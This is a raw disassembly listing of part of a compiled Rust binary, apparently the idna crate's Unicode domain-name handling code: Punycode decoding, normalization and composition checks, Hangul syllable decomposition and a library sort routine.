mov cl, byte [rsp + rax + 0x97]
mov r8, rbx
call fcn.1a7f1b6e6b0
cmp rax, 1
jne 0x1a7f1b793df
mov rbx, rdx
add rbx, qword [rsp + 0x80]
mov r15, qword [rsp + 0x90]
lea rsi, [r15 - 1]
mov r14, rbx
sub r14, rsi
jb 0x1a7f1b7938c
mov rax, r14
add rax, r15
jb 0x1a7f1b7938c
cmp rax, rbp
ja 0x1a7f1b7938c
lea r12, [r14 + r13]
mov r8d, 4
mov rcx, r15
lea rdx, [rsp + 0x98]
lea r9, str._rustc_a57770440f1ebe5b992551d3bcc489ae211908d4librarycore_src_strpattern.rs
call fcn.1a7f1b8bdbe
mov r9, rdx
mov rcx, r12
mov rdx, r15
mov r8, rax
call fcn.1a7f1b8ec86
test al, al
jne 0x1a7f1b795f7
mov qword [rsp + 0x88], rbx
jmp 0x1a7f1b792e8
test r13b, 1
jne 0x1a7f1b793ad
mov rcx, rbx
mov rdx, rsi
call fcn.1a7f1b7875b
mov r13d, eax
mov rcx, rbx
mov rdx, rsi
mov r8, qword [rsp + 0x1d0]
lea r9, [rsp + 0x38]
call 0x1a7f1b787db
mov rcx, qword [rsp + 0x280]
mov rdx, rbx
mov r8, rsi
call fcn.1a7f1bd69a6
xor edi, edi
jmp 0x1a7f1b79243
lea rsi, str._rustc_a57770440f1ebe5b992551d3bcc489ae211908d4librarycore_src_strpattern.rs
xor r12d, r12d
mov rcx, rsi
mov rdx, r12
call fcn.1a7f1b783e8
test al, al
je 0x1a7f1b795e8
mov qword [rsp + 0x1f0], rsi
mov rax, qword [rsp + 0x28]
add rax, rdi
mov qword [rsp + 0x58], rdi
mov qword [rsp + 0x60], rax
mov dword [rsp + 0x28], 0x80
mov esi, 0x48
xor r14d, r14d
xor edi, edi
mov eax, r12d
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x1e8], r12
lea rcx, [rsp + 0x58]
call fcn.1a7f1b48cf6
test al, 1
mov qword [rsp + 0x150], r14
je 0x1a7f1b7964a
lea r12d, [rsi + 0x1a]
mov r13d, esi
neg r13d
mov r15d, 1
mov r14d, 0x24
mov ebx, edi
lea eax, [rdx - 0x30]
cmp al, 0xa
jae 0x1a7f1b79478
add dl, 0xea
mov eax, edx
jmp 0x1a7f1b7948d
lea eax, [rdx - 0x41]
cmp al, 0x1a
jb 0x1a7f1b7948d
add dl, 0x9f
mov eax, edx
cmp dl, 0x1a
jae 0x1a7f1b795e8
test r15d, r15d
je 0x1a7f1b7ae83
movzx ecx, al
mov eax, ebx
not eax
xor edx, edx
div r15d
cmp eax, ecx
jb 0x1a7f1b795e8
mov eax, r15d
imul eax, ecx
add ebx, eax
lea eax, [r14 + r13]
cmp r14d, r12d
mov edx, 0x1a
cmovae eax, edx
cmp r14d, esi
mov edx, 1
cmovbe eax, edx
cmp eax, ecx
ja 0x1a7f1b79501
mov ebp, 0x24
sub ebp, eax
mov eax, ebp
mul r15d
jo 0x1a7f1b795e8
lea rcx, [rsp + 0x58]
call fcn.1a7f1b48cf6
test al, 1
je 0x1a7f1b795e8
add r14d, 0x24
imul r15d, ebp
jmp 0x1a7f1b7946a
mov ecx, ebx
sub ecx, edi
mov r14, qword [rsp + 0x30]
lea edx, [r14 + 1]
test edi, edi
sete r8b
call fcn.1a7f1b78455
inc r14d
je 0x1a7f1b7aee5
mov esi, eax
mov eax, ebx
xor edx, edx
mov qword [rsp + 0x30], r14
div r14d
add dword [rsp + 0x28], eax
jb 0x1a7f1b795e8
cmp dword [rsp + 0x28], 0x110000
je 0x1a7f1b795e8
mov eax, dword [rsp + 0x28]
xor eax, 0xd800
add eax, 0xffef0000
cmp eax, 0xffef0800
jb 0x1a7f1b795e8
mov edi, edx
mov rax, qword [rsp + 0x130]
mov ebx, edx
mov r14, qword [rsp + 0x150]
mov rcx, r14
shl rcx, 4
xor edx, edx
cmp rcx, rdx
je 0x1a7f1b79599
mov r8, qword [rax + rdx]
cmp r8, rbx
jb 0x1a7f1b79593
inc r8
mov qword [rax + rdx], r8
add rdx, 0x10
jmp 0x1a7f1b7957e
cmp r14, qword [rsp + 0x138]
jne 0x1a7f1b795c3
lea rcx, [rsp + 0x130]
mov rdx, r14
call fcn.1a7f1b43d9f
mov rax, qword [rsp + 0x130]
mov r14, qword [rsp + 0x140]
mov rcx, r14
shl rcx, 4
mov qword [rax + rcx], rbx
mov edx, dword [rsp + 0x28]
mov dword [rax + rcx + 8], edx
inc r14
mov qword [rsp + 0x140], r14
inc edi
jmp 0x1a7f1b79438
mov byte [rsp + 0x38], 1
mov r13b, 1
xor edi, edi
jmp 0x1a7f1b79243
mov rcx, r14
mov rdx, rdi
mov r8, qword [rsp + 0x28]
call fcn.1a7f1b783cb
test rax, rax
je 0x1a7f1b7afd8
mov r12, rdx
mov r15, rax
cmp rbx, rsi
je 0x1a7f1b79642
inc r14
mov rcx, r14
mov rdx, rdi
mov rsi, qword [rsp + 0x28]
mov r8, rsi
call fcn.1a7f1b43081
test rax, rax
je 0x1a7f1b7b00e
mov rdi, rax
mov qword [rsp + 0x28], rdx
mov rsi, r15
jmp 0x1a7f1b793e9
mov rax, qword [rsp + 0x130]
mov qword [rsp + 0x50], rax
cmp r14, 0x15
jae 0x1a7f1b79687
cmp r14, 1
mov r13, qword [rsp + 0x120]
jbe 0x1a7f1b79bbb
mov r8d, 1
mov rcx, qword [rsp + 0x50]
mov rdx, r14
call fcn.1a7f1b77bfb
jmp 0x1a7f1b79bbb
lea rcx, [r14*8]
movabs rax, 0x7ffffffffffffff0
and rcx, rax
mov al, byte [0x1a7f1cdecc8]
mov edx, 8
call fcn.1a7f1b62c70
test rax, rax
je 0x1a7f1b7b040
mov r13, rax
mov ecx, 0x10
call fcn.1a7f1b77bab
test rax, rax
je 0x1a7f1b7b02d
mov rsi, rax
mov rax, qword [rsp + 0x50]
add rax, 0x20
mov qword [rsp + 0x1b8], rax
mov ebp, 0x10
xor r12d, r12d
xor ebx, ebx
mov qword [rsp + 0x1d8], r13
mov rdi, r14
sub rdi, rbx
jbe 0x1a7f1b79b99
cmp rdi, 2
jae 0x1a7f1b7970b
mov r15, r14
jmp 0x1a7f1b79893
mov rdx, rbx
shl rdx, 4
mov rax, qword [rsp + 0x50]
lea rcx, [rax + rdx]
mov rax, qword [rcx]
mov rcx, qword [rcx + 0x10]
cmp rcx, rax
jae 0x1a7f1b79751
add rdx, qword [rsp + 0x1b8]
mov r8d, 2
mov r9, rcx
cmp rdi, r8
je 0x1a7f1b7977e
mov r10, qword [rdx]
cmp r10, r9
jae 0x1a7f1b7977b
inc r8
add rdx, 0x10
mov r9, r10
jmp 0x1a7f1b79738
add rdx, qword [rsp + 0x1b8]
mov r8d, 2
mov r9, rcx
cmp rdi, r8
je 0x1a7f1b7977e
mov r10, qword [rdx]
cmp r10, r9
jb 0x1a7f1b7977b
inc r8
add rdx, 0x10
mov r9, r10
jmp 0x1a7f1b79762
mov rdi, r8
lea r15, [rdi + rbx]
cmp rcx, rax
jae 0x1a7f1b79893
mov qword [rsp + 0x28], r12
mov qword [rsp + 0x148], rsi
lea rax, str._rustc_a57770440f1ebe5b992551d3bcc489ae211908d4librarycore_src_slice_sort.rs
mov qword [rsp + 0x20], rax
mov rcx, rbx
mov qword [rsp + 0x168], r15
mov rdx, r15
mov r8, qword [rsp + 0x50]
mov r9, r14
call fcn.1a7f1b77bbf
mov r14, rdx
shr r14, 1
shl rdx, 4
mov qword [rsp + 0x30], rbp
lea rbp, [rdx + rax]
mov rsi, r14
shl rsi, 4
sub rbp, rsi
lea rcx, str._rustc_a57770440f1ebe5b992551d3bcc489ae211908d4librarycore_src_slicemod.rs
mov qword [rsp + 0x20], rcx
xor ecx, ecx
mov rdx, r14
mov r8, rax
mov r9, r14
call fcn.1a7f1b77bbf
mov r12, rax
mov r15, rdx
lea rax, str._rustc_a57770440f1ebe5b992551d3bcc489ae211908d4librarycore_src_slicemod.rs
mov qword [rsp + 0x20], rax
xor ecx, ecx
mov rdx, r14
mov r8, rbp
mov rbp, qword [rsp + 0x30]
mov r9, r14
call fcn.1a7f1b77bbf
add r12, 8
dec r14
add rax, rsi
add rax, 0xfffffffffffffff8
mov rsi, r15
cmp r14, 0xffffffffffffffff
je 0x1a7f1b79876
sub rsi, 1
jb 0x1a7f1b7aeae
cmp r14, rdx
jae 0x1a7f1b7aec0
mov r8, qword [r12 - 8]
mov r9d, dword [r12]
mov r10, qword [rax - 8]
mov r11d, dword [rax]
mov qword [r12 - 8], r10
mov dword [r12], r11d
mov qword [rax - 8], r8
mov dword [rax], r9d
add r12, 0x10
dec r14
add rax, 0xfffffffffffffff0
jmp 0x1a7f1b79830
mov r14, qword [rsp + 0x150]
mov rsi, qword [rsp + 0x148]
mov r12, qword [rsp + 0x28]
mov r15, qword [rsp + 0x168]
cmp r15, rbx
jb 0x1a7f1b7af95
cmp r15, r14
ja 0x1a7f1b7af95
jae 0x1a7f1b798ea
cmp rdi, 9
ja 0x1a7f1b798ea
lea r15, [rbx + 0xa]
cmp r15, r14
cmovae r15, r14
cmp rdi, 1
adc rdi, 0
lea rax, str._rustc_a57770440f1ebe5b992551d3bcc489ae211908d4librarycore_src_slice_sort.rs
mov qword [rsp + 0x20], rax
mov rcx, rbx
mov rdx, r15
mov r8, qword [rsp + 0x50]
mov r9, r14
call fcn.1a7f1b77bbf
mov rcx, rax
mov r8, rdi
call fcn.1a7f1b77bfb
cmp r12, rbp
jne 0x1a7f1b79934
lea rcx, [rbp*2]
mov qword [rsp + 0x1c0], rcx
call fcn.1a7f1b77bab
test rax, rax
je 0x1a7f1b7afc5
mov rdi, rax
shl rbp, 4
mov rcx, rax
mov rdx, rsi
mov r8, rbp
call fcn.1a7f1c22170
mov edx, 8
mov rcx, rsi
call fcn.1a7f1b62d00
mov rsi, rdi
jmp 0x1a7f1b7993c
mov qword [rsp + 0x1c0], rbp
mov qword [rsp + 0x168], r15
sub r15, rbx
mov rcx, r12
shl rcx, 4
mov qword [rsi + rcx], r15
mov qword [rsi + rcx + 8], rbx
inc r12
mov qword [rsp + 0x148], rsi
mov rcx, rsi
mov rdx, r12
mov r8, r14
call fcn.1a7f1b77a13
cmp rax, 1
jne 0x1a7f1b79b84
mov rdi, rdx
mov rcx, rsi
mov rdx, r12
mov r8, rdi
lea r9, str._rustc_a57770440f1ebe5b992551d3bcc489ae211908d4librarycore_src_slice_sort.rs
call fcn.1a7f1b76d4c
mov r13, qword [rax]
mov rbx, qword [rax + 8]
mov r15, rdi
inc r15
mov rcx, rsi
mov qword [rsp + 0x28], r12
mov rdx, r12
mov r8, r15
lea r9, str._rustc_a57770440f1ebe5b992551d3bcc489ae211908d4librarycore_src_slice_sort.rs
call fcn.1a7f1b76d4c
mov rcx, qword [rax]
mov rdx, qword [rax + 8]
mov qword [rsp + 0x160], rcx
add rdx, rcx
lea rax, str._rustc_a57770440f1ebe5b992551d3bcc489ae211908d4librarycore_src_slice_sort.rs
mov qword [rsp + 0x20], rax
mov qword [rsp + 0x30], rbx
mov rcx, rbx
mov r8, qword [rsp + 0x50]
mov r9, r14
call fcn.1a7f1b77bbf
mov r12, rax
mov rsi, rdx
mov r14, r13
shl r14, 4
lea rbp, [rax + r14]
mov rbx, rdx
shl rbx, 4
sub rsi, r13
mov qword [rsp + 0x128], r13
cmp rsi, r13
jae 0x1a7f1b79a93
shl rsi, 4
mov r13, qword [rsp + 0x1d8]
mov rcx, r13
mov rdx, rbp
mov r8, rsi
call fcn.1a7f1c22170
add rsi, r13
lea rax, [r12 + rbx]
add rax, 0xfffffffffffffff0
mov r14, rsi
cmp rbp, r12
jbe 0x1a7f1b79afa
cmp r14, r13
jbe 0x1a7f1b79afa
mov rcx, qword [r14 - 0x10]
mov rdx, qword [rbp - 0x10]
cmp rcx, rdx
mov r8d, 0
sbb r8, r8
cmp rcx, rdx
mov r9d, 0
adc r9, 0xffffffffffffffff
shl r8, 4
add rbp, r8
shl r9, 4
add r14, r9
cmp rcx, rdx
mov rcx, r14
cmovb rcx, rbp
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
add rax, 0xfffffffffffffff0
jmp 0x1a7f1b79a3c
add rbx, r12
mov r13, qword [rsp + 0x1d8]
mov rcx, r13
mov rdx, r12
mov r8, r14
call fcn.1a7f1c22170
add r14, r13
mov rdx, r13
cmp rdx, r14
jae 0x1a7f1b79b00
cmp rbp, rbx
jae 0x1a7f1b79b00
mov r8, qword [rbp]
xor eax, eax
xor ecx, ecx
mov r10, rbp
cmp r8, qword [rdx]
setae r8b
setb r9b
jb 0x1a7f1b79ad7
mov r10, rdx
movups xmm0, xmmword [r10]
movups xmmword [r12], xmm0
add r12, 0x10
mov cl, r9b
shl rcx, 4
add rbp, rcx
mov al, r8b
shl rax, 4
add rdx, rax
jmp 0x1a7f1b79ab2
mov r12, rbp
mov rdx, r13
sub r14, rdx
mov rcx, r12
mov r8, r14
call fcn.1a7f1c22170
mov r12, qword [rsp + 0x28]
cmp r12, r15
jbe 0x1a7f1b7af2c
mov rax, qword [rsp + 0x160]
add rax, qword [rsp + 0x128]
shl r15, 4
mov rsi, qword [rsp + 0x148]
mov qword [rsi + r15], rax
mov rax, qword [rsp + 0x30]
mov qword [rsi + r15 + 8], rax
cmp r12, rdi
mov r14, qword [rsp + 0x150]
jbe 0x1a7f1b7af5e
mov rax, rdi
shl rax, 4
lea rcx, [rsi + rax]
lea rdx, [rsi + rax]
add rdx, 0x10
not rdi
add rdi, r12
shl rdi, 4
mov r8, rdi
call fcn.1a7f1c22170
dec r12
jmp 0x1a7f1b79962
mov rbp, qword [rsp + 0x1c0]
mov rbx, qword [rsp + 0x168]
jmp 0x1a7f1b796f1
mov edx, 8
mov rcx, rsi
call fcn.1a7f1b62d00
mov edx, 8
mov rcx, r13
call fcn.1a7f1b62d00
mov r13, qword [rsp + 0x120]
mov rdx, qword [rsp + 0x1e8]
lea rdi, [r14 + rdx]
mov rax, qword [rsp + 0x1f0]
add rdx, rax
mov rcx, qword [rsp + 0x280]
mov rsi, qword [rcx + 0x10]
mov qword [rsp + 0x70], rax
mov qword [rsp + 0x78], rdx
mov rax, qword [rsp + 0x50]
mov qword [rsp + 0x80], rax
mov qword [rsp + 0x88], r14
and qword [rsp + 0x90], 0
mov rdx, rdi
call fcn.1a7f1bd68f0
and qword [rsp + 0x98], 0
mov qword [rsp + 0xa0], rdi
xor edi, edi
cmp rdi, r14
jae 0x1a7f1b79c43
mov rax, qword [rsp + 0x80]
mov rcx, rdi
shl rcx, 4
mov rdx, qword [rax + rcx]
cmp rdx, qword [rsp + 0x98]
je 0x1a7f1b79c85
lea rcx, [rsp + 0x70]
call fcn.1a7f1b76beb
cmp eax, 0x110000
jne 0x1a7f1b79c6b
mov r14, qword [rsp + 0x88]
mov rdi, qword [rsp + 0x90]
cmp rdi, r14
jb 0x1a7f1b79c21
jmp 0x1a7f1b79cb3
inc qword [rsp + 0x98]
mov r14, qword [rsp + 0x88]
mov rdi, qword [rsp + 0x90]
jmp 0x1a7f1b79c9f
inc rdi
mov qword [rsp + 0x90], rdi
inc rdx
mov qword [rsp + 0x98], rdx
mov eax, dword [rax + rcx + 8]
mov rcx, qword [rsp + 0x280]
mov edx, eax
call fcn.1a7f1bec501
jmp 0x1a7f1b79c21
mov rax, qword [rsp + 0x280]
mov rcx, qword [rax]
mov rdx, qword [rax + 0x10]
mov r8, rsi
lea r9, str.E:.cargo_registry_srcindex.crates.io_6f17d22bba15001fidna_0.3.0_srcuts46.rs
call fcn.1a7f1b78693
mov rsi, rax
mov rbx, rdx
test r13b, 1
jne 0x1a7f1b79ceb
mov rcx, rsi
mov rdx, rbx
call fcn.1a7f1b7875b
mov r13d, eax
lea rcx, [rsp + 0x38]
call fcn.1a7f1b787b4
xor edi, edi
test al, al
jne 0x1a7f1b79243
mov rdi, rsi
mov qword [rsp + 0x128], rbx
add rdi, rbx
mov qword [rsp + 0x30], rsi
mov qword [rsp + 0x70], rsi
mov qword [rsp + 0x78], rdi
xor ecx, ecx
xor eax, eax
mov ebx, ecx
mov ebp, eax
lea rcx, [rsp + 0x70]
call fcn.1a7f1b76beb
cmp eax, 0x110000
je 0x1a7f1b7a1f8
mov esi, eax
xor eax, eax
cmp esi, 0x80
jb 0x1a7f1b79d22
mov ecx, esi
call fcn.1a7f1bd6ac6
cmp bpl, al
jbe 0x1a7f1b79d59
test al, al
jne 0x1a7f1b7a842
lea ecx, [rsi - 0x340]
cmp ecx, 4
ja 0x1a7f1b79d6d
cmp ecx, 2
jne 0x1a7f1b7a842
lea ecx, [rsi - 0x1fbe]
cmp ecx, 0x3f
jbe 0x1a7f1b7a19a
lea ecx, [rsi - 0xf43]
cmp ecx, 0x3e
jbe 0x1a7f1b7a1b3
lea ecx, [rsi - 0x1f71]
cmp ecx, 0xc
jbe 0x1a7f1b7a1cc
mov cl, 2
lea edx, [rsi - 0x30f]
cmp edx, 0x36
jbe 0x1a7f1b7a1df
lea edx, [rsi - 0xf93]
cmp edx, 0x26
ja 0x1a7f1b79dca
movabs r8, 0x4002108401
bt r8, rdx
jb 0x1a7f1b7a842
lea edx, [rsi - 0xfa10]
cmp edx, 0x12
ja 0x1a7f1b79de5
mov r8d, 0x50005
bt r8d, edx
jb 0x1a7f1b7a842
lea edx, [rsi - 0x374]
cmp edx, 0x13
ja 0x1a7f1b79e00
mov r8d, 0x80401
bt r8d, edx
jb 0x1a7f1b7a842
lea edx, [rsi - 0xa33]
cmp edx, 0x2b
ja 0x1a7f1b79e1f
movabs r8, 0x80000000009
bt r8, rdx
jb 0x1a7f1b7a842
lea edx, [rsi - 0xb3e]
cmp edx, 0x19
ja 0x1a7f1b79e3a
mov r8d, 0x3000001
bt r8d, edx
jb 0x1a7f1b79d20
lea edx, [rsi - 0xdca]
cmp edx, 0x15
ja 0x1a7f1b79e55
mov r8d, 0x200021
bt r8d, edx
jb 0x1a7f1b79d20
lea edx, [rsi - 0xfb1d]
cmp edx, 0x21
ja 0x1a7f1b79e74
movabs r8, 0x200000005
bt r8, rdx
jb 0x1a7f1b7a842
lea edx, [rsi - 0x114b0]
cmp edx, 0xd
ja 0x1a7f1b79e8f
mov r8d, 0x2401
bt r8d, edx
jb 0x1a7f1b79d20
lea edx, [rsi - 0x2329]
cmp edx, 2
jb 0x1a7f1b7a842
cmp esi, 0x93c
je 0x1a7f1b79d20
cmp esi, 0x9be
je 0x1a7f1b79d20
cmp esi, 0x9d7
je 0x1a7f1b79d20
cmp esi, 0x9df
je 0x1a7f1b7a842
cmp esi, 0xbbe
je 0x1a7f1b79d20
cmp esi, 0xbd7
je 0x1a7f1b79d20
cmp esi, 0xc56
je 0x1a7f1b79d20
cmp esi, 0xcc2
je 0x1a7f1b79d20
cmp esi, 0xd3e
je 0x1a7f1b79d20
cmp esi, 0xd57
je 0x1a7f1b79d20
cmp esi, 0x102e
je 0x1a7f1b79d20
cmp esi, 0x1b35
je 0x1a7f1b79d20
cmp esi, 0x1fbb
je 0x1a7f1b7a842
cmp esi, 0x2126
je 0x1a7f1b7a842
cmp esi, 0x2adc
je 0x1a7f1b7a842
cmp esi, 0x110ba
je 0x1a7f1b79d20
cmp esi, 0x11127
je 0x1a7f1b79d20
cmp esi, 0x1133e
je 0x1a7f1b79d20
cmp esi, 0x11357
je 0x1a7f1b79d20
cmp esi, 0x115af
je 0x1a7f1b79d20
cmp esi, 0x11930
je 0x1a7f1b79d20
lea edx, [rsi - 0x2f800]
cmp edx, 0x21e
jb 0x1a7f1b7a842
lea edx, [rsi - 0x1d1bb]
cmp edx, 6
jb 0x1a7f1b7a842
lea edx, [rsi - 0x1d15e]
cmp edx, 7
jb 0x1a7f1b7a842
lea edx, [rsi - 0xfb46]
cmp edx, 9
jb 0x1a7f1b7a842
lea edx, [rsi - 0xfb43]
cmp edx, 2
jb 0x1a7f1b7a842
mov edx, esi
and edx, 0x1ffffe
cmp edx, 0xfb40
je 0x1a7f1b7a842
lea r8d, [rsi - 0xfb38]
cmp r8d, 5
jb 0x1a7f1b7a842
lea r8d, [rsi - 0xfb2a]
cmp r8d, 0xd
jb 0x1a7f1b7a842
lea r8d, [rsi - 0xfa70]
cmp r8d, 0x6a
jb 0x1a7f1b7a842
lea r8d, [rsi - 0xfa2a]
cmp r8d, 0x44
jb 0x1a7f1b7a842
movabs rdx, 0xa800202020202801
bt rdx, rcx
jae 0x1a7f1b79d7c
jmp 0x1a7f1b7a842
movabs rdx, 0x4021004002108401
bt rdx, rcx
jae 0x1a7f1b79d8b
jmp 0x1a7f1b7a842
mov edx, 0x1555
bt edx, ecx
jae 0x1a7f1b79d9a
jmp 0x1a7f1b7a842
movabs r8, 0x48020000001005
bt r8, rdx
jae 0x1a7f1b79dab
jmp 0x1a7f1b79d20
test bl, bl
je 0x1a7f1b7a802
lea rcx, [rsp + 0x98]
movups xmmword [rcx + 0x20], xmm6
lea rax, [rsp + 0x5a]
movups xmmword [rax], xmm6
movzx eax, word [rsp + 0x68]
mov word [rcx + 0x4e], ax
movups xmm0, xmmword [rsp + 0x58]
movups xmmword [rcx + 0x3e], xmm0
and qword [rsp + 0x70], 0
and dword [rsp + 0x80], 0
and word [rsp + 0x84], 0
xor eax, eax
mov byte [rsp + 0x88], al
and dword [rsp + 0x8c], 0
mov byte [rsp + 0x90], al
and dword [rsp + 0x94], 0
mov byte [rsp + 0x98], al
and dword [rsp + 0x9c], 0
mov byte [rsp + 0xa0], al
and dword [rsp + 0xa4], 0
mov rcx, qword [rsp + 0x30]
mov qword [rsp + 0xa8], rcx
mov qword [rsp + 0xb0], rdi
mov byte [rsp + 0xc8], al
and dword [rsp + 0xd0], 0
and word [rsp + 0xd4], 0
mov dword [rsp + 0xf0], 0x110000
mov byte [rsp + 0xf4], al
mov qword [rsp + 0x58], rcx
mov qword [rsp + 0x60], rdi
mov edi, 0x110000
mov qword [rsp + 0x120], r13
lea rcx, [rsp + 0x58]
call fcn.1a7f1b76beb
mov dword [rsp + 0x28], eax
mov r11, qword [rsp + 0x70]
mov rax, qword [rsp + 0x78]
mov ebx, edi
mov r9d, dword [rsp + 0xd0]
mov rdx, qword [rsp + 0xd8]
mov r10, qword [rsp + 0xe8]
movzx r8d, word [rsp + 0xd4]
movzx ecx, r8w
cmp r11, 1
jne 0x1a7f1b7a363
test r9d, r9d
je 0x1a7f1b7a332
cmp rax, r10
jb 0x1a7f1b7a75f
and qword [rsp + 0xe8], 0
xor r10d, r10d
jmp 0x1a7f1b7a358
cmp r8w, 5
jae 0x1a7f1b7af0d
cmp rax, rcx
jb 0x1a7f1b7a757
test r8w, r8w
je 0x1a7f1b7a355
and word [rsp + 0xd4], 0
xor r8d, r8d
and qword [rsp + 0x70], 0
xor r11d, r11d
jmp 0x1a7f1b7a30c
cmp r11, 2
je 0x1a7f1b7a718
lea rdi, [rsp + 0x80]
mov qword [rsp + 0x48], rdi
mov rdx, qword [rdi + 0x40]
test rdx, rdx
jne 0x1a7f1b7a4dd
cmp qword [rdi + 0x28], 0
je 0x1a7f1b7a4d2
add rdi, 0x28
mov rcx, rdi
call fcn.1a7f1b76beb
mov rdi, qword [rsp + 0x48]
cmp eax, 0x110000
je 0x1a7f1b7a4d2
mov ebx, eax
cmp byte [rdi + 0x48], 0
je 0x1a7f1b7a419
cmp ebx, 0x80
jb 0x1a7f1b7a489
mov edi, ebx
add edi, 0xffff5400
cmp edi, 0x2ba4
jb 0x1a7f1b7a431
mov ecx, ebx
call fcn.1a7f1bd69e6
test rax, rax
jne 0x1a7f1b7a3ee
mov ecx, ebx
call fcn.1a7f1bd6a56
test rax, rax
je 0x1a7f1b7a489
mov rdi, rax
mov r14, rdx
shl r14, 2
xor esi, esi
lea rbx, [rsp + 0x48]
cmp r14, rsi
je 0x1a7f1b7a495
mov edx, dword [rdi + rsi]
mov rcx, rbx
call fcn.1a7f1b7747a
add rsi, 4
jmp 0x1a7f1b7a3ff
cmp ebx, 0x80
jb 0x1a7f1b7a489
mov edi, ebx
add edi, 0xffff5400
cmp edi, 0x2ba4
jae 0x1a7f1b7a49f
mov eax, edi
xor edx, edx
mov cx, 0x24c
div cx
mov ebx, edx
or eax, 0x1100
mov ebp, 0xffff
and eax, ebp
lea rsi, [rsp + 0x48]
mov rcx, rsi
mov edx, eax
call fcn.1a7f1b7747a
mov eax, ebx
mov rcx, rsi
xor edx, edx
mov si, 0x1c
div si
lea edx, [rax + 0x1161]
and edx, ebp
call fcn.1a7f1b7747a
mov eax, edi
xor edx, edx
div si
test dx, dx
je 0x1a7f1b7a495
add edx, 0x11a7
movzx ebx, dx
lea rcx, [rsp + 0x48]
mov edx, ebx
call fcn.1a7f1b7747a
mov rdi, qword [rsp + 0x48]
jmp 0x1a7f1b7a37a
mov ecx, ebx
call fcn.1a7f1bd6a56
test rax, rax
je 0x1a7f1b7a489
mov rdi, rax
mov r14, rdx
shl r14, 2
xor esi, esi
lea rbx, [rsp + 0x48]
cmp r14, rsi
je 0x1a7f1b7a495
mov edx, dword [rdi + rsi]
mov rcx, rbx
call fcn.1a7f1b7747a
add rsi, 4
jmp 0x1a7f1b7a4bc
cmp dword [rdi], 0
je 0x1a7f1b7a4e2
mov rax, qword [rdi + 0x18]
jmp 0x1a7f1b7a4e6
mov r8d, dword [rdi]
jmp 0x1a7f1b7a512
movzx eax, word [rdi + 4]
test rax, rax
je 0x1a7f1b7a6d2
mov rcx, rdi
call fcn.1a7f1b76f01
mov rdi, qword [rsp + 0x48]
mov r8d, dword [rdi]
test r8d, r8d
je 0x1a7f1b7a50a
mov rdx, qword [rdi + 0x18]
jmp 0x1a7f1b7a50e
movzx edx, word [rdi + 4]
mov qword [rdi + 0x40], rdx
mov rcx, qword [rdi + 0x38]
test r8d, r8d
je 0x1a7f1b7a525
mov r9, qword [rdi + 8]
mov rax, qword [rdi + 0x18]
jmp 0x1a7f1b7a537
movzx eax, word [rdi + 4]
cmp rax, 5
jae 0x1a7f1b7af1b
lea r9, [rdi + 8]
cmp rax, rcx
jbe 0x1a7f1b7ae5a
lea r12, [rdi + 0x38]
mov ebx, dword [r9 + rcx*8 + 4]
inc rcx
cmp rcx, rdx
jne 0x1a7f1b7a55c
test r8d, r8d
je 0x1a7f1b7a565
mov r13, qword [rdi + 0x18]
jmp 0x1a7f1b7a56a
mov qword [r12], rcx
jmp 0x1a7f1b7a62c
movzx r13d, word [rdi + 4]
lea r15, [rdi + 8]
sub r13, rdx
xor r14d, r14d
cmp r13, r14
je 0x1a7f1b7a600
mov rcx, qword [rdi + 0x40]
add rcx, r14
cmp dword [rdi], 0
je 0x1a7f1b7a5a3
mov r10, qword [rdi + 0x18]
cmp r10, rcx
jbe 0x1a7f1b7a84e
mov rax, qword [r15]
mov bpl, byte [rax + rcx*8]
mov esi, dword [rax + rcx*8 + 4]
jmp 0x1a7f1b7a5e6
movzx r10d, word [rdi + 4]
cmp r10, 5
jae 0x1a7f1b7aecf
cmp rcx, r10
jae 0x1a7f1b7a84e
mov bpl, byte [r15 + rcx*8]
mov esi, dword [r15 + rcx*8 + 4]
lea rax, str.E:.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tinyvec_1.6.0_src_arrayvec.rs
mov qword [rsp + 0x20], rax
mov r9d, 4
xor ecx, ecx
mov rdx, r10
mov r8, r15
call fcn.1a7f1b77441
mov r10, rdx
cmp r10, r14
jbe 0x1a7f1b7a857
mov byte [rax + r14*8], bpl
mov dword [rax + r14*8 + 4], esi
inc r14
jmp 0x1a7f1b7a574
cmp dword [rdi], 0
je 0x1a7f1b7a611
cmp qword [rdi + 0x18], r13
jb 0x1a7f1b7a61f
mov qword [rdi + 0x18], r13
jmp 0x1a7f1b7a61f
movzx eax, word [rdi + 4]
cmp r13, rax
jae 0x1a7f1b7a61f
mov word [rdi + 4], r13w
movups xmmword [r12], xmm6
mov r13, qword [rsp + 0x120]
mov ecx, ebx
call fcn.1a7f1bd6ac6
mov edi, eax
mov ebp, dword [rsp + 0xf0]
cmp ebp, 0x110000
jne 0x1a7f1b7a659
test dil, dil
jne 0x1a7f1b7a791
mov dword [rsp + 0xf0], ebx
jmp 0x1a7f1b7a36d
cmp byte [rsp + 0xf4], 0
je 0x1a7f1b7a67f
cmp byte [rsp + 0xf5], dil
jae 0x1a7f1b7a6a5
mov ecx, ebp
mov edx, ebx
call fcn.1a7f1bd6bcd
cmp eax, 0x110000
je 0x1a7f1b7a6ae
jmp 0x1a7f1b7a699
mov ecx, ebp
mov edx, ebx
call fcn.1a7f1bd6bcd
cmp eax, 0x110000
jne 0x1a7f1b7a699
test dil, dil
jne 0x1a7f1b7a6ae
jmp 0x1a7f1b7a7d3
mov dword [rsp + 0xf0], eax
jmp 0x1a7f1b7a36d
test dil, dil
je 0x1a7f1b7a7b3
lea rcx, [rsp + 0xd0]
mov edx, ebx
call fcn.1a7f1b77482
mov byte [rsp + 0xf4], 1
mov byte [rsp + 0xf5], dil
jmp 0x1a7f1b7a36d
mov qword [rsp + 0x70], 2
and qword [rsp + 0x78], 0
mov ecx, dword [rsp + 0xf0]
mov r11d, 2
mov ebx, 0x110000
mov eax, 0
cmp ecx, 0x110000
je 0x1a7f1b7a2eb
mov dword [rsp + 0xf0], 0x110000
mov edi, 0x110000
mov ebx, ecx
jmp 0x1a7f1b7a796
test r9d, r9d
je 0x1a7f1b7a72d
cmp rax, r10
jb 0x1a7f1b7a744
and qword [rsp + 0xe8], 0
jmp 0x1a7f1b7a786
cmp cx, 5
jae 0x1a7f1b7af0d
lea rdx, [rsp + 0xd8]
cmp rax, rcx
jae 0x1a7f1b7a777
mov edi, ebx
mov ebx, dword [rdx + rax*4]
inc rax
mov qword [rsp + 0x70], 2
jmp 0x1a7f1b7a770
lea rdx, [rsp + 0xd8]
mov edi, ebx
